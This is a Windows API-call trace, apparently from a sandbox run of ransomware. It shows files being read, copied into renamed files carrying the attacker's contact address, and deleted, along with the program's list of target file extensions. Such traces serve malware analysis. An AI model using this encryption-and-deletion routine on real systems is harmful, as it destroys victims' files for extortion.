	[0084.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.876] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2084) returned 1
	[0084.876] CloseHandle (hObject=0x2c8) returned 1
	[0084.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220
	[0084.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.876] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.876] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.877] GetLastError () returned 0x0
	[0084.877] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x824, lpOverlapped=0x0) returned 1
	[0084.878] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x830, lpOverlapped=0x0) returned 1
	[0084.879] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.879] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.879] SetEndOfFile (hFile=0x320) returned 1
	[0084.880] CloseHandle (hObject=0x320) returned 1
	[0084.880] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.880] SetEndOfFile (hFile=0x2c8) returned 1
	[0084.880] CloseHandle (hObject=0x2c8) returned 1
	[0084.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0084.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.881] lstrlenW (lpString=".doc") returned 4
	[0084.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.881] lstrlenW (lpString=".docx") returned 5
	[0084.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.881] lstrlenW (lpString=".pdf") returned 4
	[0084.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.881] lstrlenW (lpString=".xls") returned 4
	[0084.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.881] lstrlenW (lpString=".xlsx") returned 5
	[0084.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.881] lstrlenW (lpString=".ppt") returned 4
	[0084.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.881] lstrlenW (lpString=".zip") returned 4
	[0084.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.881] lstrlenW (lpString=".rar") returned 4
	[0084.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString=".bz2") returned 4
	[0084.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString=".7z") returned 3
	[0084.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString=".dbf") returned 4
	[0084.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString=".1cd") returned 4
	[0084.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString=".jpg") returned 4
	[0084.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString=".doc") returned 4
	[0084.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString=".docx") returned 5
	[0084.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.882] lstrlenW (lpString=".pdf") returned 4
	[0084.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString=".xls") returned 4
	[0084.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.882] lstrlenW (lpString=".xlsx") returned 5
	[0084.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.882] lstrlenW (lpString=".ppt") returned 4
	[0084.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.882] lstrlenW (lpString=".zip") returned 4
	[0084.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.882] lstrlenW (lpString=".rar") returned 4
	[0084.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString=".bz2") returned 4
	[0084.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString=".7z") returned 3
	[0084.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.883] lstrlenW (lpString=".dbf") returned 4
	[0084.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.883] lstrlenW (lpString=".1cd") returned 4
	[0084.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0084.883] lstrlenW (lpString=".jpg") returned 4
	[0084.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.883] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.883] lstrlenW (lpString="DD01181_.WMF") returned 12
	[0084.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.883] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1448) returned 1
	[0084.884] CloseHandle (hObject=0x2c8) returned 1
	[0084.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220
	[0084.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0084.884] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.884] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.884] GetLastError () returned 0x0
	[0084.884] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x5a8, lpOverlapped=0x0) returned 1
	[0085.251] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0085.252] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.253] WriteFile (in: hFile=0x320, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.253] SetEndOfFile (hFile=0x320) returned 1
	[0085.974] CloseHandle (hObject=0x320) returned 1
	[0085.975] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.975] SetEndOfFile (hFile=0x2c8) returned 1
	[0085.976] CloseHandle (hObject=0x2c8) returned 1
	[0085.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0085.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0086.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.030] lstrlenW (lpString=".doc") returned 4
	[0086.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.031] lstrlenW (lpString=".docx") returned 5
	[0086.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.031] lstrlenW (lpString=".pdf") returned 4
	[0086.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.031] lstrlenW (lpString=".xls") returned 4
	[0086.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.031] lstrlenW (lpString=".xlsx") returned 5
	[0086.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.039] lstrlenW (lpString=".ppt") returned 4
	[0086.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.039] lstrlenW (lpString=".zip") returned 4
	[0086.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.046] lstrlenW (lpString=".rar") returned 4
	[0086.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.046] lstrlenW (lpString=".bz2") returned 4
	[0086.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.046] lstrlenW (lpString=".7z") returned 3
	[0086.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.046] lstrlenW (lpString=".dbf") returned 4
	[0086.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.046] lstrlenW (lpString=".1cd") returned 4
	[0086.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString=".jpg") returned 4
	[0086.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString=".doc") returned 4
	[0086.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString=".docx") returned 5
	[0086.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.047] lstrlenW (lpString=".pdf") returned 4
	[0086.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString=".xls") returned 4
	[0086.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.047] lstrlenW (lpString=".xlsx") returned 5
	[0086.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.047] lstrlenW (lpString=".ppt") returned 4
	[0086.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString=".zip") returned 4
	[0086.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.047] lstrlenW (lpString=".rar") returned 4
	[0086.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString=".bz2") returned 4
	[0086.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString=".7z") returned 3
	[0086.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString=".dbf") returned 4
	[0086.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.047] lstrlenW (lpString=".1cd") returned 4
	[0086.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.048] lstrlenW (lpString=".jpg") returned 4
	[0086.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.048] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.048] lstrlenW (lpString="EN00006_.WMF") returned 12
	[0086.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.048] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=13936) returned 1
	[0086.048] CloseHandle (hObject=0x38c) returned 1
	[0086.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220
	[0086.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.049] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.049] GetLastError () returned 0x0
	[0086.049] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x3670, lpOverlapped=0x0) returned 1
	[0086.051] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3680, lpOverlapped=0x0) returned 1
	[0086.052] ReadFile (in: hFile=0x38c, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.052] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.052] SetEndOfFile (hFile=0x390) returned 1
	[0086.052] CloseHandle (hObject=0x390) returned 1
	[0086.052] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.052] SetEndOfFile (hFile=0x38c) returned 1
	[0086.053] CloseHandle (hObject=0x38c) returned 1
	[0086.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString=".doc") returned 4
	[0086.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString=".docx") returned 5
	[0086.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.054] lstrlenW (lpString=".pdf") returned 4
	[0086.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString=".xls") returned 4
	[0086.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.054] lstrlenW (lpString=".xlsx") returned 5
	[0086.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.054] lstrlenW (lpString=".ppt") returned 4
	[0086.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString=".zip") returned 4
	[0086.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.054] lstrlenW (lpString=".rar") returned 4
	[0086.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString=".bz2") returned 4
	[0086.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString=".7z") returned 3
	[0086.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString=".dbf") returned 4
	[0086.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString=".1cd") returned 4
	[0086.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.054] lstrlenW (lpString=".jpg") returned 4
	[0086.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString=".doc") returned 4
	[0086.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString=".docx") returned 5
	[0086.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.055] lstrlenW (lpString=".pdf") returned 4
	[0086.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString=".xls") returned 4
	[0086.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.055] lstrlenW (lpString=".xlsx") returned 5
	[0086.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.055] lstrlenW (lpString=".ppt") returned 4
	[0086.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString=".zip") returned 4
	[0086.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.055] lstrlenW (lpString=".rar") returned 4
	[0086.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString=".bz2") returned 4
	[0086.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString=".7z") returned 3
	[0086.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString=".dbf") returned 4
	[0086.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString=".1cd") returned 4
	[0086.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0086.055] lstrlenW (lpString=".jpg") returned 4
	[0086.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.056] lstrlenW (lpString="EN00202_.WMF") returned 12
